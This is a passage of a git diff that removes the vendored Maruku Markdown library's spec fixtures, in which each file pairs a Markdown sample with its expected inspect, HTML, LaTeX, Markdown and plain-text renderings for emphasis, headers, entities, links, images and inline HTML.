-sentence (same paragraph).
-
-This is the very long one.
-
-That s the second paragraph.
-
-This is not a footnote.
-*** Output of to_s ***
-Thats some text with a footnote  and another  and another .And thats the footnote.Thats the second paragraph of the footnote.And thats the footnote. This is second sentence (same paragraph).This is the very long one.Thats the second paragraph.This is not a footnote.
diff --git a/vendor/plugins/maruku/spec/block_docs/hard.md b/vendor/plugins/maruku/spec/block_docs/hard.md
deleted file mode 100644
index 45c14ac9..00000000
--- a/vendor/plugins/maruku/spec/block_docs/hard.md
+++ /dev/null
@@ -1,25 +0,0 @@
-More complicated tests for emphasis.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*This is in italic, and **this is bold italics**.*  But **is this bold and *this bold-italic* **? Or just plain ***bold italics***.
-*** Output of inspect ***
-md_el(:document,
-  [md_par([
-    md_em([
-      "This is in italic, and ", md_strong(["this is bold italics"]), "."
-    ]), " But ", md_strong([
-                   "is this bold and ", md_em(["this bold-italic"])
-                 ]), "? Or just plain ", md_emstrong(["bold italics"]), "."
-   ])
-  ],{},[])
-*** Output of to_html ***
-<p><em>This is in italic, and <strong>this is bold italics</strong>.</em> But <strong>is this bold and <em>this bold-italic</em></strong>? Or just plain <strong><em>bold italics</em></strong>.</p>
-*** Output of to_latex ***
-\emph{This is in italic, and \textbf{this is bold italics}.} But \textbf{is this bold and \emph{this bold-italic}}? Or just plain \textbf{\emph{bold italics}}.
-*** Output of to_md ***
-*This is in italic, and **this is bold italics**.*
-But **is this bold and *this bold-italic* **? Or
-just plain ***bold italics***.
-*** Output of to_s ***
-This is in italic, and this is bold italics. But is this bold and this bold-italic? Or just plain bold italics.
diff --git a/vendor/plugins/maruku/spec/block_docs/headers.md b/vendor/plugins/maruku/spec/block_docs/headers.md
deleted file mode 100644
index 2594c206..00000000
--- a/vendor/plugins/maruku/spec/block_docs/headers.md
+++ /dev/null
@@ -1,41 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:title=>"A title with emphasis"}
-*** Markdown input: ***
-A title with *emphasis*
-=======================
-
-A title with *emphasis*
------------------------
-
-
-#### A title with *emphasis* ####
-
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:header,["A title with ", md_em(["emphasis"])],{:level=>1},[]),
-	md_el(:header,["A title with ", md_em(["emphasis"])],{:level=>2},[]),
-	md_el(:header,["A title with ", md_em(["emphasis"])],{:level=>4},[])
-],{},[])
-*** Output of to_html ***
-<h1 id="a_title_with_emphasis_1">A title with <em>emphasis</em></h1>
-
-<h2 id="a_title_with_emphasis_2">A title with <em>emphasis</em></h2>
-
-<h4 id="a_title_with_emphasis_3">A title with <em>emphasis</em></h4>
-*** Output of to_latex ***
-\hypertarget{a_title_with_emphasis_1}{}\section*{{A title with \emph{emphasis}}}\label{a_title_with_emphasis_1}
-
-\hypertarget{a_title_with_emphasis_2}{}\subsection*{{A title with \emph{emphasis}}}\label{a_title_with_emphasis_2}
-
-\hypertarget{a_title_with_emphasis_3}{}\paragraph*{{A title with \emph{emphasis}}}\label{a_title_with_emphasis_3}
-*** Output of to_md ***
-# A title with *emphasis* #
-
-## A title with *emphasis* ##
-
-#### A title with *emphasis* ####
-*** Output of to_s ***
-A title with emphasisA title with emphasisA title with emphasis
diff --git a/vendor/plugins/maruku/spec/block_docs/hex_entities.md b/vendor/plugins/maruku/spec/block_docs/hex_entities.md
deleted file mode 100644
index 537a6683..00000000
--- a/vendor/plugins/maruku/spec/block_docs/hex_entities.md
+++ /dev/null
@@ -1,38 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-Examples of numeric character references include &#169; or &#xA9; for the copyright symbol, &#913; or &#x391; for the Greek capital letter alpha, and &#1575; or &#x627; for the Arabic letter alef.
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"Examples of numeric character references include ",
-		md_entity(169),
-		" or ",
-		md_entity(169),
-		" for the copyright symbol, ",
-		md_entity(913),
-		" or ",
-		md_entity(913),
-		" for the Greek capital letter alpha, and ",
-		md_entity(1575),
-		" or ",
-		md_entity(1575),
-		" for the Arabic letter alef."
-	])
-],{},[])
-*** Output of to_html ***
-<p>Examples of numeric character references include &#169; or &#169; for the copyright symbol, &#913; or &#913; for the Greek capital letter alpha, and &#1575; or &#1575; for the Arabic letter alef.</p>
-*** Output of to_latex ***
-Examples of numeric character references include \copyright{} or \copyright{} for the copyright symbol, $A${} or $A${} for the Greek capital letter alpha, and  or  for the Arabic letter alef.
-*** Output of to_md ***
-Examples of numeric character
-references include &169; or &169; for
-the copyright symbol, &913; or &913;
-for the Greek capital letter alpha,
-and &1575; or &1575; for the Arabic
-letter alef.
-*** Output of to_s ***
-Examples of numeric character references include  or  for the copyright symbol,  or  for the Greek capital letter alpha, and  or  for the Arabic letter alef.
diff --git a/vendor/plugins/maruku/spec/block_docs/hrule.md b/vendor/plugins/maruku/spec/block_docs/hrule.md
deleted file mode 100644
index 5321c502..00000000
--- a/vendor/plugins/maruku/spec/block_docs/hrule.md
+++ /dev/null
@@ -1,44 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-* * *
-
-***
-
-*****
-
-- - -
-
----------------------------------------
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:hrule,[],{},[]),
-	md_el(:hrule,[],{},[]),
-	md_el(:hrule,[],{},[]),
-	md_el(:hrule,[],{},[]),
-	md_el(:hrule,[],{},[])
-],{},[])
-*** Output of to_html ***
-<hr /><hr /><hr /><hr /><hr />
-*** Output of to_latex ***
-\vspace{.5em} \hrule \vspace{.5em}
-
-\vspace{.5em} \hrule \vspace{.5em}
-
-\vspace{.5em} \hrule \vspace{.5em}
-
-\vspace{.5em} \hrule \vspace{.5em}
-
-\vspace{.5em} \hrule \vspace{.5em}
-*** Output of to_md ***
-
-* * *
-* * *
-* * *
-* * *
-* * *
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/html2.md b/vendor/plugins/maruku/spec/block_docs/html2.md
deleted file mode 100644
index 114f6710..00000000
--- a/vendor/plugins/maruku/spec/block_docs/html2.md
+++ /dev/null
@@ -1,22 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-One
-<div></div>123
-
-<div></div>123
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["One ", md_html("<div></div>"), "123"]),
-	md_html("<div></div>")
-],{},[])
-*** Output of to_html ***
-<p>One <div></div>123</p>
-<div></div>
-*** Output of to_latex ***
-One 123
-*** Output of to_md ***
-One 123
-*** Output of to_s ***
-One 123
diff --git a/vendor/plugins/maruku/spec/block_docs/html3.md b/vendor/plugins/maruku/spec/block_docs/html3.md
deleted file mode 100644
index 8549bf3c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/html3.md
+++ /dev/null
@@ -1,31 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-taking part in <a href="http://sied.dis.uniroma1.it/">some arcane conspirations</a> which
-involve <b href="http://www.flickr.com/photos/censi/70893277/">coffee</b>, 
-<a href="http://flickr.com/photos/censi/42775664/in/set-936677/">robots</a>,
-<a href="http://www.flickr.com/photos/censi/42775888/in/set-936677/">sushi</a>,
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"taking part in ",
-		md_html("<a href=\"http://sied.dis.uniroma1.it/\">some arcane conspirations</a>"),
-		" which involve ",
-		md_html("<b href=\"http://www.flickr.com/photos/censi/70893277/\">coffee</b>"),
-		", ",
-		md_html("<a href=\"http://flickr.com/photos/censi/42775664/in/set-936677/\">robots</a>"),
-		", ",
-		md_html("<a href=\"http://www.flickr.com/photos/censi/42775888/in/set-936677/\">sushi</a>"),
-		","
-	])
-],{},[])
-*** Output of to_html ***
-<p>taking part in <a href="http://sied.dis.uniroma1.it/">some arcane conspirations</a> which involve <b href="http://www.flickr.com/photos/censi/70893277/">coffee</b>, <a href="http://flickr.com/photos/censi/42775664/in/set-936677/">robots</a>, <a href="http://www.flickr.com/photos/censi/42775888/in/set-936677/">sushi</a>,</p>
-*** Output of to_latex ***
-taking part in  which involve , , ,
-*** Output of to_md ***
-taking part in which involve , , ,
-*** Output of to_s ***
-taking part in  which involve , , ,
diff --git a/vendor/plugins/maruku/spec/block_docs/html4.md b/vendor/plugins/maruku/spec/block_docs/html4.md
deleted file mode 100644
index 0632991e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/html4.md
+++ /dev/null
@@ -1,25 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-<div class="frame">
-	<a  class="photo" href="http://www.flickr.com/photos/censi/54757256/"><img alt=""
-  moz-do-not-send="true"
-  src="http://static.flickr.com/27/54757256_1a2c1d2a95_m.jpg" /></a>
-</div>
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_html("<div class=\"frame\">\n\t<a  class=\"photo\" href=\"http://www.flickr.com/photos/censi/54757256/\"><img alt=\"\"\n  moz-do-not-send=\"true\"\n  src=\"http://static.flickr.com/27/54757256_1a2c1d2a95_m.jpg\" /></a>\n</div>")
-],{},[])
-*** Output of to_html ***
-<div class="frame">
-	<a class="photo" href="http://www.flickr.com/photos/censi/54757256/"><img alt="" moz-do-not-send="true" src="http://static.flickr.com/27/54757256_1a2c1d2a95_m.jpg" /></a>
-</div>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/html5.md b/vendor/plugins/maruku/spec/block_docs/html5.md
deleted file mode 100644
index 7baa4b35..00000000
--- a/vendor/plugins/maruku/spec/block_docs/html5.md
+++ /dev/null
@@ -1,23 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
- <div class="frame">
- <a class="photo" href="http://www.flickr.com/photos/censi/88561568/" ><img moz-do-not-send="true" src="http://static.flickr.com/28/88561568_ab84d28245_m.jpg" width="240" height="180" alt="Aperitif" /></a>
- </div>
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_html(" <div class=\"frame\">\n <a class=\"photo\" href=\"http://www.flickr.com/photos/censi/88561568/\" ><img moz-do-not-send=\"true\" src=\"http://static.flickr.com/28/88561568_ab84d28245_m.jpg\" width=\"240\" height=\"180\" alt=\"Aperitif\" /></a>\n </div>")
-],{},[])
-*** Output of to_html ***
-<div class="frame">
- <a class="photo" href="http://www.flickr.com/photos/censi/88561568/"><img moz-do-not-send="true" src="http://static.flickr.com/28/88561568_ab84d28245_m.jpg" width="240" height="180" alt="Aperitif" /></a>
- </div>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/ie.md b/vendor/plugins/maruku/spec/block_docs/ie.md
deleted file mode 100644
index ef3c0e16..00000000
--- a/vendor/plugins/maruku/spec/block_docs/ie.md
+++ /dev/null
@@ -1,62 +0,0 @@
-We must make sure that `&apos;` is always written as `&#39;`.
-
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-`<p>here's an apostrophe & a quote "</p>`
-
-	<p>here's an apostrophe & a quote "</p>
-{:}
-
-	<p>here's an apostrophe & a quote "</p>
-{:lang=xml}
-
-	<p>here's an apostrophe & a quote "</p>
-{:html_use_syntax=true lang=not_supported}
-
-	<p>here's an apostrophe & a quote "</p>
-{:html_use_syntax=true lang=xml}
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([md_code("<p>here's an apostrophe & a quote \"</p>")]),
-	md_el(:code,[],{:raw_code=>"<p>here's an apostrophe & a quote \"</p>"},[]),
-	md_el(:code,[],{:raw_code=>"<p>here's an apostrophe & a quote \"</p>"},[["lang", "xml"]]),
-	md_el(:code,[],{:raw_code=>"<p>here's an apostrophe & a quote \"</p>"},[["html_use_syntax", "true"], ["lang", "not_supported"]]),
-	md_el(:code,[],{:raw_code=>"<p>here's an apostrophe & a quote \"</p>"},[["html_use_syntax", "true"], ["lang", "xml"]])
-],{},[])
-*** Output of to_html ***
-<p><code>&lt;p&gt;here's an apostrophe &amp; a quote "&lt;/p&gt;</code></p>
-
-<pre><code>&lt;p&gt;here's an apostrophe &amp; a quote "&lt;/p&gt;</code></pre>
-
-<pre class="xml"><code lang="xml" xml:lang="xml"><span class="punct">&lt;</span><span class="tag">p</span><span class="punct">&gt;</span>here's an apostrophe &amp; a quote "<span class="punct">&lt;/</span><span class="tag">p</span><span class="punct">&gt;</span></code></pre>
-
-<pre class="not_supported"><code lang="not_supported" xml:lang="not_supported">&lt;p&gt;here's an apostrophe &amp; a quote "&lt;/p&gt;</code></pre>
-
-<pre class="xml"><code lang="xml" xml:lang="xml"><span class="punct">&lt;</span><span class="tag">p</span><span class="punct">&gt;</span>here's an apostrophe &amp; a quote "<span class="punct">&lt;/</span><span class="tag">p</span><span class="punct">&gt;</span></code></pre>
-*** Output of to_latex ***
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char60p\char62here\char39s~an~apostrophe~\char38~a~quote~\char34\char60\char47p\char62}}
-
-\begin{verbatim}<p>here's an apostrophe & a quote "</p>\end{verbatim}
-\begin{verbatim}<p>here's an apostrophe & a quote "</p>\end{verbatim}
-\begin{verbatim}<p>here's an apostrophe & a quote "</p>\end{verbatim}
-\begin{verbatim}<p>here's an apostrophe & a quote "</p>\end{verbatim}
-*** Output of to_md ***
-
-`<p>here's an apostrophe & a quote "</p>`
-
-     <p>here's an apostrophe & a quote "</p>
-{:}
-
-     <p>here's an apostrophe & a quote "</p>
-{:lang=xml}
-
-     <p>here's an apostrophe & a quote "</p>
-{:html_use_syntax=true lang=not_supported}
-
-     <p>here's an apostrophe & a quote "</p>
-{:html_use_syntax=true lang=xml}
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/images.md b/vendor/plugins/maruku/spec/block_docs/images.md
deleted file mode 100644
index e3122974..00000000
--- a/vendor/plugins/maruku/spec/block_docs/images.md
+++ /dev/null
@@ -1,96 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-This page does not utilize ![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss)
-
-
-Please mouseover to see the title: ![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss "Title ok!")
-
-Please mouseover to see the title: ![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss 'Title ok!')
-
-
-I'll say it one more time: this page does not use ![Cascading Style Sheets] [css]
-
-This is double size: ![Cascading Style Sheets] [css2]
-
-
-
-[css]: http://jigsaw.w3.org/css-validator/images/vcss "Optional title attribute"
-
-[css2]: http://jigsaw.w3.org/css-validator/images/vcss "Optional title attribute" class=external
-   style="border:0;width:188px;height:131px"
-
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"This page does not utilize ",
-		md_im_image(["Cascading Style Sheets"], "http://jigsaw.w3.org/css-validator/images/vcss", nil)
-	]),
-	md_par([
-		"Please mouseover to see the title: ",
-		md_im_image(["Cascading Style Sheets"], "http://jigsaw.w3.org/css-validator/images/vcss", "Title ok!")
-	]),
-	md_par([
-		"Please mouseover to see the title: ",
-		md_im_image(["Cascading Style Sheets"], "http://jigsaw.w3.org/css-validator/images/vcss", "Title ok!")
-	]),
-	md_par([
-		"I",
-		md_entity("rsquo"),
-		"ll say it one more time: this page does not use ",
-		md_image(["Cascading Style Sheets"], "css")
-	]),
-	md_par([
-		"This is double size: ",
-		md_image(["Cascading Style Sheets"], "css2")
-	]),
-	md_ref_def("css", "http://jigsaw.w3.org/css-validator/images/vcss", {:title=>"Optional title attribute"}),
-	md_ref_def("css2", "http://jigsaw.w3.org/css-validator/images/vcss", {:title=>"Optional title attribute"})
-],{},[])
-*** Output of to_html ***
-<p>This page does not utilize <img src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Cascading Style Sheets" /></p>
-
-<p>Please mouseover to see the title: <img src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Cascading Style Sheets" title="Title ok!" /></p>
-
-<p>Please mouseover to see the title: <img src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Cascading Style Sheets" title="Title ok!" /></p>
-
-<p>I&#8217;ll say it one more time: this page does not use <img src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Cascading Style Sheets" title="Optional title attribute" /></p>
-
-<p>This is double size: <img src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Cascading Style Sheets" title="Optional title attribute" /></p>
-*** Output of to_latex ***
-This page does not utilize 
-
-Please mouseover to see the title: 
-
-Please mouseover to see the title: 
-
-I'{}ll say it one more time: this page does not use 
-
-This is double size:
-*** Output of to_md ***
-This page does not utilize
-![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss)
-
-Please mouseover to see the title:
-![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss "Title ok!")
-
-Please mouseover to see the title:
-![Cascading Style Sheets](http://jigsaw.w3.org/css-validator/images/vcss "Title ok!")
-
-I'll say it one more time: this
-page does not use
-![Cascading Style Sheets][css]
-
-This is double size:
-![Cascading Style Sheets][css2]
-
-[css]: http://jigsaw.w3.org/css-validator/images/vcss "Optional title attribute"
-
-[css2]: http://jigsaw.w3.org/css-validator/images/vcss "Optional title attribute" class=external
-   style="border:0;width:188px;height:131px"
-*** Output of to_s ***
-This page does not utilize Cascading Style SheetsPlease mouseover to see the title: Cascading Style SheetsPlease mouseover to see the title: Cascading Style SheetsIll say it one more time: this page does not use Cascading Style SheetsThis is double size: Cascading Style Sheets
diff --git a/vendor/plugins/maruku/spec/block_docs/images2.md b/vendor/plugins/maruku/spec/block_docs/images2.md
deleted file mode 100644
index 2df9f01b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/images2.md
+++ /dev/null
@@ -1,33 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-
-This is an ![image][].
-
-This is an ![image].
-
-[image]: image.jpg
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This is an ", md_image(["image"], "image"), "."]),
-	md_par(["This is an ", md_image(["image"], "image"), "."]),
-	md_ref_def("image", "image.jpg", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<p>This is an <img src="image.jpg" alt="image" />.</p>
-
-<p>This is an <img src="image.jpg" alt="image" />.</p>
-*** Output of to_latex ***
-This is an .
-
-This is an .
-*** Output of to_md ***
-This is an ![image][].
-
-This is an ![image].
-
-[image]: image.jpg
-*** Output of to_s ***
-This is an image.This is an image.
diff --git a/vendor/plugins/maruku/spec/block_docs/inline_html.md b/vendor/plugins/maruku/spec/block_docs/inline_html.md
deleted file mode 100644
index 2c155c7b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/inline_html.md
+++ /dev/null
@@ -1,152 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:css=>"style.css"}
-*** Markdown input: ***
-CSS: style.css
-
-Input:
-
-    <em>Emphasis</em>
-
-Result: <em>Emphasis</em>
-
-Input:
-
-    <img src="http://jigsaw.w3.org/css-validator/images/vcss"/>
-
-Result on span: <img src="http://jigsaw.w3.org/css-validator/images/vcss"/>
-
-Result alone: 
-
-<img src="http://jigsaw.w3.org/css-validator/images/vcss"/>
-
-Without closing:
-
-<img src="http://jigsaw.w3.org/css-validator/images/vcss">
-
-<div markdown="1">
-   This is *true* markdown text (paragraph)
-
-   <p markdown="1">
-   This is *true* markdown text (no paragraph)
-   </p>
-   <p markdown="block">
-   This is *true* markdown text (block paragraph)
-   </p>
-</div>
-
-<table>
-<tr>
-<td markdown="1">This is a *true* markdown text. (no par)</td>
-<td markdown="block">This is *true* markdown text. (par)</td>
-</tr>
-</table>
-
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Input:"]),
-	md_el(:code,[],{:raw_code=>"<em>Emphasis</em>"},[]),
-	md_par(["Result: ", md_html("<em>Emphasis</em>")]),
-	md_par(["Input:"]),
-	md_el(:code,[],{:raw_code=>"<img src=\"http://jigsaw.w3.org/css-validator/images/vcss\"/>"},[]),
-	md_par([
-		"Result on span: ",
-		md_html("<img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" />")
-	]),
-	md_par(["Result alone:"]),
-	md_html("<img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" />"),
-	md_par(["Without closing:"]),
-	md_html("<img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" />"),
-	md_html("<div markdown=\"1\">\n   This is *true* markdown text (paragraph)\n\n   <p markdown=\"1\">\n   This is *true* markdown text (no paragraph)\n   </p>\n   <p markdown=\"block\">\n   This is *true* markdown text (block paragraph)\n   </p>\n</div>"),
-	md_html("<table>\n<tr>\n<td markdown=\"1\">This is a *true* markdown text. (no par)</td>\n<td markdown=\"block\">This is *true* markdown text. (par)</td>\n</tr>\n</table>")
-],{},[])
-*** Output of to_html ***
-<p>Input:</p>
-
-<pre><code>&lt;em&gt;Emphasis&lt;/em&gt;</code></pre>
-
-<p>Result: <em>Emphasis</em></p>
-
-<p>Input:</p>
-
-<pre><code>&lt;img src="http://jigsaw.w3.org/css-validator/images/vcss"/&gt;</code></pre>
-
-<p>Result on span: <img src="http://jigsaw.w3.org/css-validator/images/vcss" /></p>
-
-<p>Result alone:</p>
-<img src="http://jigsaw.w3.org/css-validator/images/vcss" />
-<p>Without closing:</p>
-<img src="http://jigsaw.w3.org/css-validator/images/vcss" /><div>
-<p>
-<p>This is</p>
-<em>
-<p>true</p>
-</em>
-<p>markdown text (paragraph)</p>
-</p>
-<p>
-<p>
-<p>This is</p>
-<em>
-<p>true</p>
-</em>
-<p>markdown text (no paragraph)</p>
-</p>
-</p>
-   <p>
-<p>
-<p>This is</p>
-<em>
-<p>true</p>
-</em>
-<p>markdown text (block paragraph)</p>
-</p>
-</p>
-</div><table>
-<tr>
-<td>
-<p>This is a</p>
-<em>
-<p>true</p>
-</em>
-<p>markdown text. (no par)</p>
-</td>
-<td>
-<p>This is</p>
-<em>
-<p>true</p>
-</em>
-<p>markdown text. (par)</p>
-</td>
-</tr>
-</table>
-*** Output of to_latex ***
-Input:
-
-\begin{verbatim}<em>Emphasis</em>\end{verbatim}
-Result: 
-
-Input:
-
-\begin{verbatim}<img src="http://jigsaw.w3.org/css-validator/images/vcss"/>\end{verbatim}
-Result on span: 
-
-Result alone:
-
-Without closing:
-*** Output of to_md ***
-Input:
-
-Result:
-
-Input:
-
-Result on span:
-
-Result alone:
-
-Without closing:
-*** Output of to_s ***
-Input:Result: Input:Result on span: Result alone:Without closing:
diff --git a/vendor/plugins/maruku/spec/block_docs/inline_html2.md b/vendor/plugins/maruku/spec/block_docs/inline_html2.md
deleted file mode 100644
index 26e9addb..00000000
--- a/vendor/plugins/maruku/spec/block_docs/inline_html2.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-<div markdown="1">Test **bold**</div>
-<p markdown="1">Test **bold**</p>
-*** Output of inspect ***
-md_el(:document,[
-	md_html("<div markdown=\"1\">Test **bold**</div>"),
-	md_html("<p markdown=\"1\">Test **bold**</p>")
-],{},[])
-*** Output of to_html ***
-<div>
-<p>Test <strong>bold</strong></p>
-</div><p>Test <strong>bold</strong></p>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/links.md b/vendor/plugins/maruku/spec/block_docs/links.md
deleted file mode 100644
index 0b6ecd5c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/links.md
+++ /dev/null
@@ -1,165 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:on_error=>:warning}
-*** Markdown input: ***
-
-Search on [Google][]
-
-Search on [Google] []
-
-Search on [Google] [google]
-
-Search on [Google] [Google]
-
-Search on [Google images][]
-
-Inline: [Google images](http://google.com)
-
-Inline with title: [Google images](http://google.com "Title")
-
-Inline with title: [Google images]( http://google.com  "Title" )
-
-
-Search on <http://www.gogole.com> or <http://Here.com> or ask <mailto:bill@google.com>
-or you might ask bill@google.com.
-
-If all else fails, ask [Google](http://www.google.com)
-
-And now [reference-style link ID with spaces] [Google Images]
-
-And now [reference-style link ID (without spaces)][Google Search]
-
-[google]: http://www.google.com
-
-[google2]: http://www.google.com 'Single quotes'
-
-[google3]: http://www.google.com "Double quotes"
-
-[google4]: http://www.google.com (Parenthesis)
-
-[Google Search]: 
- http://www.google.com 'Google search'
-
-[Google Images]: 
- http://images.google.com  (Google images)
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Search on ", md_link(["Google"],"google")]),
-	md_par(["Search on ", md_link(["Google"],"google")]),
-	md_par(["Search on ", md_link(["Google"],"google")]),
-	md_par(["Search on ", md_link(["Google"],"google")]),
-	md_par(["Search on ", md_link(["Google images"],"google_images")]),
-	md_par(["Inline: ", md_im_link(["Google images"], "http://google.com", nil)]),
-	md_par([
-		"Inline with title: ",
-		md_im_link(["Google images"], "http://google.com", "Title")
-	]),
-	md_par([
-		"Inline with title: ",
-		md_im_link(["Google images"], "http://google.com", "Title")
-	]),
-	md_par([
-		"Search on ",
-		md_url("http://www.gogole.com"),
-		" or ",
-		md_url("http://Here.com"),
-		" or ask ",
-		md_email("bill@google.com"),
-		" or you might ask bill@google.com."
-	]),
-	md_par([
-		"If all else fails, ask ",
-		md_im_link(["Google"], "http://www.google.com", nil)
-	]),
-	md_par([
-		"And now ",
-		md_link(["reference-style link ID with spaces"],"google_images")
-	]),
-	md_par([
-		"And now ",
-		md_link(["reference-style link ID (without spaces)"], "google_search")
-	]),
-	md_ref_def("google", "http://www.google.com", {:title=>nil}),
-	md_ref_def("google2", "http://www.google.com", {:title=>"Single quotes"}),
-	md_ref_def("google3", "http://www.google.com", {:title=>"Double quotes"}),
-	md_ref_def("google4", "http://www.google.com", {:title=>"Parenthesis"}),
-	md_ref_def("google_search", "http://www.google.com", {:title=>"Google search"}),
-	md_ref_def("google_images", "http://images.google.com", {:title=>"Google images"})
-],{},[])
-*** Output of to_html ***
-<p>Search on <a href="http://www.google.com">Google</a></p>
-
-<p>Search on <a href="http://www.google.com">Google</a></p>
-
-<p>Search on <a href="http://www.google.com">Google</a></p>
-
-<p>Search on <a href="http://www.google.com">Google</a></p>
-
-<p>Search on <a href="http://images.google.com" title="Google images">Google images</a></p>
-
-<p>Inline: <a href="http://google.com">Google images</a></p>
-
-<p>Inline with title: <a href="http://google.com" title="Title">Google images</a></p>
-
-<p>Inline with title: <a href="http://google.com" title="Title">Google images</a></p>
-
-<p>Search on <a href="http://www.gogole.com">http://www.gogole.com</a> or <a href="http://Here.com">http://Here.com</a> or ask <a href="mailto:bill@google.com">&#098;&#105;&#108;&#108;&#064;&#103;&#111;&#111;&#103;&#108;&#101;&#046;&#099;&#111;&#109;</a> or you might ask bill@google.com.</p>
-
-<p>If all else fails, ask <a href="http://www.google.com">Google</a></p>
-
-<p>And now <a href="http://images.google.com" title="Google images">reference-style link ID with spaces</a></p>
-
-<p>And now <a href="http://www.google.com" title="Google search">reference-style link ID (without spaces)</a></p>
-*** Output of to_latex ***
-Search on \href{http://www.google.com}{Google}
-
-Search on \href{http://www.google.com}{Google}
-
-Search on \href{http://www.google.com}{Google}
-
-Search on \href{http://www.google.com}{Google}
-
-Search on \href{http://images.google.com}{Google images}
-
-Inline: \href{http://google.com}{Google images}
-
-Inline with title: \href{http://google.com}{Google images}
-
-Inline with title: \href{http://google.com}{Google images}
-
-Search on \href{http://www.gogole.com}{http\char58\char47\char47www\char46gogole\char46com} or \href{http://Here.com}{http\char58\char47\char47Here\char46com} or ask \href{mailto:bill@google.com}{bill\char64google\char46com} or you might ask bill@google.com.
-
-If all else fails, ask \href{http://www.google.com}{Google}
-
-And now \href{http://images.google.com}{reference-style link ID with spaces}
-
-And now \href{http://www.google.com}{reference-style link ID (without spaces)}
-*** Output of to_md ***
-Search on Google
-
-Search on Google
-
-Search on Google
-
-Search on Google
-
-Search on Google images
-
-Inline: Google images
-
-Inline with title: Google images
-
-Inline with title: Google images
-
-Search on or or ask or you might ask
-bill@google.com.
-
-If all else fails, ask Google
-
-And now
-reference-style link ID with spaces
-
-And now
-reference-style link ID (without spaces)
-*** Output of to_s ***
-Search on GoogleSearch on GoogleSearch on GoogleSearch on GoogleSearch on Google imagesInline: Google imagesInline with title: Google imagesInline with title: Google imagesSearch on  or  or ask  or you might ask bill@google.com.If all else fails, ask GoogleAnd now reference-style link ID with spacesAnd now reference-style link ID (without spaces)
diff --git a/vendor/plugins/maruku/spec/block_docs/links2.md b/vendor/plugins/maruku/spec/block_docs/links2.md
deleted file mode 100644
index f9e65b13..00000000
--- a/vendor/plugins/maruku/spec/block_docs/links2.md
+++ /dev/null
@@ -1,21 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-See [foo' bar][foo_bar]
-
-[foo_bar]: http://agorf.gr/
-
-
-*** Output of inspect ***
-md_el(:document,[ md_par([ "See ", md_link(["foo", md_entity("rsquo"), " bar"],"foo_bar")]),
-	md_ref_def("foo_bar", "http://agorf.gr/", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<p>See <a href="http://agorf.gr/">foo&#8217; bar</a></p>
-*** Output of to_latex ***
-See \href{http://agorf.gr/}{foo'{} bar}
-*** Output of to_md ***
-See foo bar
-*** Output of to_s ***
-See foo bar
diff --git a/vendor/plugins/maruku/spec/block_docs/list1.md b/vendor/plugins/maruku/spec/block_docs/list1.md
deleted file mode 100644
index 80cdb758..00000000
--- a/vendor/plugins/maruku/spec/block_docs/list1.md
+++ /dev/null
@@ -1,46 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*   A list item with a blockquote:
-
